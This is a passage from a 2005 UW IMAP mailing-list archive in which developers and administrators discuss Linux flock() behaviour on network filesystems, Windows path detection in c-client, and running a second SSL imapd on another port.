mailnull) for mailarch+c-client; Tue, 14 Jun 2005 15:51:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EMpOEj014115 for ; Tue, 14 Jun 2005 15:51:24 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EMpNWJ023619 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 14 Jun 2005 15:51:23 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EMp2K0012301; Tue, 14 Jun 2005 15:51:02 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EMp1ro012293 for ; Tue, 14 Jun 2005 15:51:01 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EMp136011381 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 14 Jun 2005 15:51:01 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EMowBV007811 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 14 Jun 2005 15:50:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EMowHU014236 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 14 Jun 2005 15:50:58 -0700 Date: Tue, 14 Jun 2005 15:50:59 -0700 (Pacific Daylight Time) From: Mark Crispin To: Shaun Ferguson Subject: Re: [Imap-uw] imapd expunge trouble In-Reply-To: <42AF5091.8060007@park.edu> Message-ID: References: <42AF5091.8060007@park.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Shaun - There are two things going on: The first thing is that in recent versions of the Linux kernel, the developers of Linux have "improved" the flock() system by changing the definition of how flock() works on network filesystems such as NFS. The traditional definition, for the past 20 or so years, has been that flock() on a network filesystem is a successful no-op. The recent "improvement" in Linux is that doing so always returns ENOLCK. Suffice it to say that there have been howls of protest from application developers who have depended upon the traditional behavior for the past two decades. The answer has been a Stallmanesque "the new version is better, fix your software." The effect of this incompatible change to flock() is that attempts to upgrade a shared lock to an exclusive lock on an NFS file always appear to fail due to some other process having a shared lock. In reality, neither a shared lock nor an exclusive lock is acquired. This is what that strange "8" flag that you observed means: the message is expunged, but the space could not be reclaimed because (imapd falsely believed that) some other session had the mailbox opened. It will reclaim the space when it can lock the mailbox exclusive (which will never happen because of the incompatible flock() change). I discovered the problem after imap-2004d was released. The necessary workaround is in imap-2004e: ftp://ftp.cac.washington.edu/mail/imap-2004e.DEV.tar.Z Although this is presented as a development snapshot, this version is really just imap-2004d with a small number of limited-audience but critical changes since imap-2004d. Put another way, it's safe to install in place of imap-2004d. The second thing that is going on was alluded to above. I don't know much about GFS, but it seems to be that for the purposes of flock() locking that it is a type of network filesystem. As such, it is not suitable for the mbx format; shared access and locking can not work on such systems and you *will* have mailbox corruption. Put another way: the mbx format *MUST* be on a local filesystem that supports flock() and instantaneous (and atomic) update of data and inode data across all sharers. The corrolary to this is that you can't use mbx on your GFS filesystem; and as you have noticed corruption will result. Some "experts" will claim that the "fix" for this problem is to use fcntl() locking. It's a long story why not; so trust me, you do not want to do this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 14 16:13:40 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Jun 2005 16:13:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ENDe2R015193 for ; Tue, 14 Jun 2005 16:13:40 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ENDdxN031904 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 14 Jun 2005 16:13:39 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ENDQU2015263; Tue, 14 Jun 2005 16:13:26 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ENDOwN015255 for ; Tue, 14 Jun 2005 16:13:24 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ENDOZw010036 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 14 Jun 2005 16:13:24 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ENDNXS003272 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 14 Jun 2005 16:13:23 -0700 Received: from Shimo-Tomobiki.panda.com (D-128-95-135-163.dhcp4.washington.edu [128.95.135.163]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ENDNSo019026 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Tue, 14 Jun 2005 16:13:23 -0700 Date: Tue, 14 Jun 2005 16:13:18 -0700 From: Mark Crispin To: UW IMAP Software Interest List Message-ID: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] more on flock() on Linux in 2004d vs. 2004e X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu It turns out that imap-2004d has the workaround for the incompatible change that exists in newer versions of Linux. So, if you're running 2004d, you should not experience the spurious failure to upgrade a lock from shared to exclusive. Versions previous to 2004d will have this problem if they attempt to use mbx format on a network filesystem with newer Linux kernels. However, it is *NOT* recommended to use mbx format on a network filesystem under any circumstance. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 16 02:03:01 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jun 2005 02:03:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5G930tH015967 for ; Thu, 16 Jun 2005 02:03:00 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5G92xBo000463 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Jun 2005 02:03:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5G92Y7n008767; Thu, 16 Jun 2005 02:02:34 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5G92WAs008758 for ; Thu, 16 Jun 2005 02:02:32 -0700 Received: from offerans.imn.nl (offerans.imn.nl [194.151.178.77]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5G92Kxs008990 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 16 Jun 2005 02:02:32 -0700 Received: from imnla308 ([217.166.228.176]) (authenticated bits=0) by offerans.imn.nl (8.12.7/8.12.7/SuSE Linux 0.6 IBM) with ESMTP id j5G92Ivv000269 for ; Thu, 16 Jun 2005 11:02:19 +0200 Message-ID: <013301c57252$1a27fc40$1601a8c0@imnla308> From: "Ties Molenhuis" To: Date: Thu, 16 Jun 2005 11:02:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] detecting a relative path X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Mark, In the imap library there are several lines of code to detect if a path = is relative or not. The code to detect an absolute path on the windows platform is not = sufficient I think. if (name[1] =3D=3D ':') Is is detecting if the drive is specified but not if the path is = relative or absolute. The path c:tmp is valid and relative to the current directory on drive = c. The code below does also detect if the path is relative or absolute: if (name[1] =3D=3D ':' && (name[2] =3D=3D '/' || name[2] =3D=3D '\\')) regards, Ties Molenhuis _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 16 06:34:41 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jun 2005 06:34:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5GDYf4g028711 for ; Thu, 16 Jun 2005 06:34:41 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GDYcT8029811 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Jun 2005 06:34:38 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GDYFOK011253; Thu, 16 Jun 2005 06:34:15 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GDYDxN011245 for ; Thu, 16 Jun 2005 06:34:14 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GDYDJb031056 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 16 Jun 2005 06:34:13 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GDYCp0017261 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Jun 2005 06:34:12 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GDYAeK025769 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 16 Jun 2005 06:34:12 -0700 Date: Thu, 16 Jun 2005 06:34:09 -0700 (PDT) From: Mark Crispin To: Ties Molenhuis Subject: Re: [Imap-uw] detecting a relative path In-Reply-To: <013301c57252$1a27fc40$1601a8c0@imnla308> Message-ID: References: <013301c57252$1a27fc40$1601a8c0@imnla308> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu If you're referring to the code in mailboxfile() in env_nt.c, you are correct. However, this is more of a comment issue than a code error; the code is arguably correct as-is. What the code is really doing is seeing if the path is absolute or is to another device. If not, then it makes the path absolute by prefixing it with the home directory. It can't do that when the path refers to another device, because the home directory only exists on the home device. In that case, you're stuck with either forcing the other device reference to be a rooted name (that is, inserting \ after the :) or just leaving it alone. The concensus seemed to be to leave it alone. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 16 10:47:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jun 2005 10:47:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5GHlXVe010629 for ; Thu, 16 Jun 2005 10:47:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GHlW8o027624 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Jun 2005 10:47:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GHkqvf013163; Thu, 16 Jun 2005 10:46:52 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GHkpxf013155 for ; Thu, 16 Jun 2005 10:46:51 -0700 Received: from email.arc.nasa.gov (email.arc.nasa.gov [143.232.64.51]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GHkpHr017861 for ; Thu, 16 Jun 2005 10:46:51 -0700 Received: from [143.232.67.112] (sgdarkhelmet.arc.nasa.gov [143.232.67.112]) by email.arc.nasa.gov ( -- Info omitted by ASANI Solutions, LLC.) with ESMTP id j5GHkp312359 for ; Thu, 16 Jun 2005 10:46:51 -0700 (PDT) Message-ID: <42B1BB0A.80403@email.arc.nasa.gov> Date: Thu, 16 Jun 2005 10:46:50 -0700 From: Matt Linton User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Hard coded port questions X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Greetings! I'm attempting to do some strange things for stranger reasons, so of course the problems I'm running into are my fault. That said... I'm trying to run an IMAPD with SSL on two ports on a system. One on port 993 and one on port 994. This I've done by compiling a regular imapd (gcc Solaris) as /usr/sbin/imapd, and a second copy of the binary with changed port definitions as /usr/sbin/imapd2 However, the imapd software doesn't seem to recognize that a system connecting to it on port 994 is trying to talk SSL with it. I looked through the source and found the c-client code hard coding port 993 to the SSL port, so I thought perhaps imap4v1 compiles the c-client definitions in somehow, and changed them in c-client, then recompiled. No dice, though. When I connect on port 994 with a client attempting to talk SSL, I get a nice long hang. Does anyone have any quick clarifications for me as to how the IMAPSSLPORT definition in imap4r1.c ends up in the 'imapd' binary? If at all? More importantly, am I going about this the right way at all? _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 16 11:05:51 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jun 2005 11:05:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5GI5pJ9011780 for ; Thu, 16 Jun 2005 11:05:51 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GI5oaR028738 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Jun 2005 11:05:50 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GI5Zmm016217; Thu, 16 Jun 2005 11:05:35 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GI5YTA016201 for ; Thu, 16 Jun 2005 11:05:34 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GI5YoC012066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 16 Jun 2005 11:05:34 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GI5VmF009588 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Jun 2005 11:05:31 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GI5Tf8006628 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 16 Jun 2005 11:05:30 -0700 Date: Thu, 16 Jun 2005 11:05:28 -0700 (PDT) From: Mark Crispin To: Matt Linton Subject: Re: [Imap-uw] Hard coded port questions In-Reply-To: <42B1BB0A.80403@email.arc.nasa.gov> Message-ID: References: <42B1BB0A.80403@email.arc.nasa.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The SSL server port used by the IMAP server is the port identified as "imaps" (/etc/services in most systems, maybe elsewhere if your system uses something like NetInfo or Yellow Pages). This is set in the third argument in the server_init() call early in the imapd.c source. In order to have a special version of imapd listening on another port, you must define the new port name in /etc/services (or whereever), and then modify imapd so that the third argument of the server_init() call uses that port name instead of imaps. Note, by the way, that port 994 is the IRC SSL port (ircs). You can't arbitrarily choose port numbers. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 16 11:13:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jun 2005 11:13:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5GIDw21012187 for ; Thu, 16 Jun 2005 11:13:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GIDvjE029238 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Jun 2005 11:13:57 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GIDBth017328; Thu, 16 Jun 2005 11:13:11 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GIBjDn016763 for ; Thu, 16 Jun 2005 11:11:45 -0700 Received: from email.arc.nasa.gov (email.arc.nasa.gov [143.232.64.51]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GIBisp001464 for ; Thu, 16 Jun 2005 11:11:44 -0700 Received: from [143.232.67.112] (sgdarkhelmet.arc.nasa.gov [143.232.67.112]) by email.arc.nasa.gov ( -- Info omitted by ASANI Solutions, LLC.) with ESMTP id j5GIBh314351; Thu, 16 Jun 2005 11:11:43 -0700 (PDT) Message-ID: <42B1C0DF.6030301@email.arc.nasa.gov> Date: Thu, 16 Jun 2005 11:11:43 -0700 From: Matt Linton User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] Hard coded port questions References: <42B1BB0A.80403@email.arc.nasa.gov> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark: Thanks for the tip, and for the warning RE: irc-ssl. Of course I understand the danger in messing with port numbers that are already defined in RFCs. In the case I'm working with, the network this server is on will never be running IRC, and if it is, there are major problems needing to be looked into! For the curious, explanations are below as to the problem I'm trying to solve.... A single UNIX server in this case must serve mail for two networks which are isolated from each other, off a single filesystem. So one of the things I've been doing is routing traffic from one network to the other for IMAP. This worked beautifully when we were not SSL encrypting things, but when SSL is thrown into the mix, certificate signing becomes an issue. One imap daemon can only have one signed certificate (to my knowlege). However, due to creative routing and things, the requests to are coming FROM as well as from server1. So, I am running two daemons on different ports to deal with the certificate problem: Requests to port 993 must be presented with a signed certificate for server1.test.net, but requests to port 994 must be presented with a signed cert for server2.test.net. Mark Crispin wrote: > The SSL server port used by the IMAP server is the port identified as > "imaps" (/etc/services in most systems, maybe elsewhere if your system > uses something like NetInfo or Yellow Pages). > > This is set in the third argument in the server_init() call early in > the imapd.c source. > > In order to have a special version of imapd listening on another port, > you must define the new port name in /etc/services (or whereever), and > then modify imapd so that the third argument of the server_init() call > uses that port name instead of imaps. > > Note, by the way, that port 994 is the IRC SSL port (ircs). You can't > arbitrarily choose port numbers. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 16 11:21:50 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jun 2005 11:21:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5GILohK012684 for ; Thu, 16 Jun 2005 11:21:50 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GILna1016695 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Jun 2005 11:21:49 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GILTlv018741; Thu, 16 Jun 2005 11:21:29 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GILSEP018717 for ; Thu, 16 Jun 2005 11:21:28 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GILRL6018246 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 16 Jun 2005 11:21:28 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GILRck022380 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Jun 2005 11:21:27 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5GILPCS010340 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 16 Jun 2005 11:21:26 -0700 Date: Thu, 16 Jun 2005 11:21:25 -0700 (PDT) From: Mark Crispin To: Matt Linton Subject: Re: [Imap-uw] Hard coded port questions In-Reply-To: 